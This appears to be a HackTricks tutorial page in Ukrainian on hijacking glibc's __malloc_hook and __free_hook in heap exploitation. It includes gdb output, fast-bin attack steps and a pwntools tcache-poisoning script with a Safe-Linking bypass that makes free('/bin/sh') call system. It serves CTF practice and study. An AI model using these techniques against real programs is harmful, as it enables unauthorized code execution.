WWW2Exec - __malloc_hook & __free_hook
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Malloc Hook
Як ви можете побачити на Офіційному сайті GNU, змінна __malloc_hook
є вказівником, що вказує на адресу функції, яка буде викликана щоразу, коли викликається malloc()
, збережену в секції даних бібліотеки libc. Тому, якщо ця адреса буде перезаписана, наприклад, One Gadget, і буде викликано malloc
, то буде викликано One Gadget.
Щоб викликати malloc, можна дочекатися, поки програма викличе його, або **викликавши printf("%10000$c")**, що виділяє занадто багато байтів, змушуючи
libc` викликати malloc для їх виділення в купі.
Більше інформації про One Gadget в:
{{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}}
warning
Зверніть увагу, що хуки вимкнені для GLIBC >= 2.34. Є інші техніки, які можна використовувати в сучасних версіях GLIBC. Дивіться: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
Free Hook
Це було зловжито в одному з прикладів на сторінці, зловживаючи атакою швидкого біну після зловживання атакою неупорядкованого біну:
{{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}}
Можливо знайти адресу __free_hook
, якщо бінарний файл має символи, використовуючи наступну команду:
gef➤ p &__free_hook
У пості ви можете знайти покрокову інструкцію про те, як знайти адресу free hook без символів. У підсумку, у функції free:
gef➤ x/20i free
0xf75dedc0 : push ebx
0xf75dedc1 : call 0xf768f625
0xf75dedc6 : add ebx,0x14323a
0xf75dedcc : sub esp,0x8
0xf75dedcf : mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10]
0xf75dedd9 : mov eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb : test eax,eax ;<
0xf75deddd : jne 0xf75dee50
У зазначеному місці зупинки в попередньому коді в $eax
буде знаходитися адреса free hook.
Тепер виконується атака на швидкі контейнери:
- По-перше, виявлено, що можливо працювати з швидкими контейнерами розміром 200 у місці
__free_hook
: gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- Якщо нам вдасться отримати швидкий контейнер розміром 0x200 у цьому місці, буде можливим перезаписати вказівник функції, яка буде виконана.
- Для цього створюється новий контейнер розміром
0xfc
, і об'єднана функція викликається з цим вказівником двічі, таким чином ми отримуємо вказівник на звільнений контейнер розміром0xfc*2 = 0x1f8
у швидкому контейнері. - Потім викликається функція редагування в цьому контейнері, щоб змінити адресу
fd
цього швидкого контейнера, щоб вона вказувала на попередню функцію__free_hook
. - Потім створюється контейнер розміром
0x1f8
, щоб отримати з швидкого контейнера попередній непотрібний контейнер, тому створюється ще один контейнер розміром0x1f8
, щоб отримати швидкий контейнер у__free_hook
, який перезаписується адресою функціїsystem
. - І нарешті, контейнер, що містить рядок
/bin/sh\x00
, звільняється, викликаючи функцію видалення, що викликає функцію__free_hook
, яка вказує на system з/bin/sh\x00
як параметром.
Отруєння Tcache & Safe-Linking (glibc 2.32 – 2.33)
glibc 2.32 представив Safe-Linking – перевірку цілісності, яка захищає одинарні зв'язані списки, що використовуються tcache та швидкими контейнерами. Замість того, щоб зберігати сирий прямий вказівник (fd
), ptmalloc тепер зберігає його обфускованим за допомогою наступного макросу:
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
Наслідки для експлуатації:
- heap leak є обов'язковим – зловмисник повинен знати значення
chunk_addr >> 12
під час виконання, щоб створити дійсний обфусцований вказівник. - Можна підробити лише повний 8-байтовий вказівник; часткові перезаписи одного байта не пройдуть перевірку.
Мінімальний примітив отруєння tcache, який перезаписує __free_hook
на glibc 2.32/2.33, виглядає так:
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
Фрагмент вище був адаптований з недавніх CTF викликів, таких як UIUCTF 2024 – «Rusty Pointers» та openECSC 2023 – «Babyheap G», обидва з яких покладалися на обходи Safe-Linking для перезапису __free_hook
.
Що змінилося в glibc ≥ 2.34?
Починаючи з glibc 2.34 (серпень 2021), хуки виділення пам'яті __malloc_hook
, __realloc_hook
, __memalign_hook
та __free_hook
були видалені з публічного API і більше не викликаються аллокатором. Символи сумісності все ще експортуються для застарілих бінарних файлів, але їх перезапис більше не впливає на контрольний потік malloc()
або free()
.
Практичне значення: на сучасних дистрибутивах (Ubuntu 22.04+, Fedora 35+, Debian 12 тощо) ви повинні перейти на інші примітиви захоплення (IO-FILE, __run_exit_handlers
, розпилення vtable тощо), оскільки перезаписи хуків будуть тихо зазнавати невдачі.
Якщо вам все ще потрібна стара поведінка для налагодження, glibc постачає libc_malloc_debug.so
, який можна попередньо завантажити, щоб повторно активувати застарілі хуки – але бібліотека не призначена для виробництва і може зникнути в майбутніх випусках.
Посилання
- https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook
- https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
- Safe-Linking – Усунення 20-річного експлойту malloc() (Check Point Research, 2020)
- примітки до випуску glibc 2.34 – видалення malloc хуків
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.